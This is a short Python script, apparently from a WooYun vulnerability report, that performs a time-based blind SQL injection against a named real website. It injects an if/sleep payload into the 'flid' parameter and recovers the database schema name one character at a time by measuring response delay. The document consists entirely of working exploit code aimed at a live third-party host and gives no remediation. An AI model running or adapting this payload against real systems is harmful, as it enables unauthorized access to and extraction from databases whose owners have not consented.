WooYun.org

#!/usr/bin/env python
#-*-coding:utf-8-*-
import string
import requests
import time
payloads = string.ascii_lowercase + string.digits + '_.@ '
res = ''
for i in range(1, 20):
	for p in payloads:
		start_time = time.time()
		url = "http://app.art.ifeng.com/?app=system&controller=fall&action=freelist_page&flid=if(now()=sysdate() and mid(schema(),{},1)='{}',sleep(1*3),2)&jsoncallback=jsonp1457941973953&page=2&_=1457941977376".format(i, p)
		req = requests.get(url)
		print req.url
		if time.time() - start_time > 3:
			res = res + p
			print "\n" + res + "\n"
			break
print "\n\n[Finish]: " + res + "\n"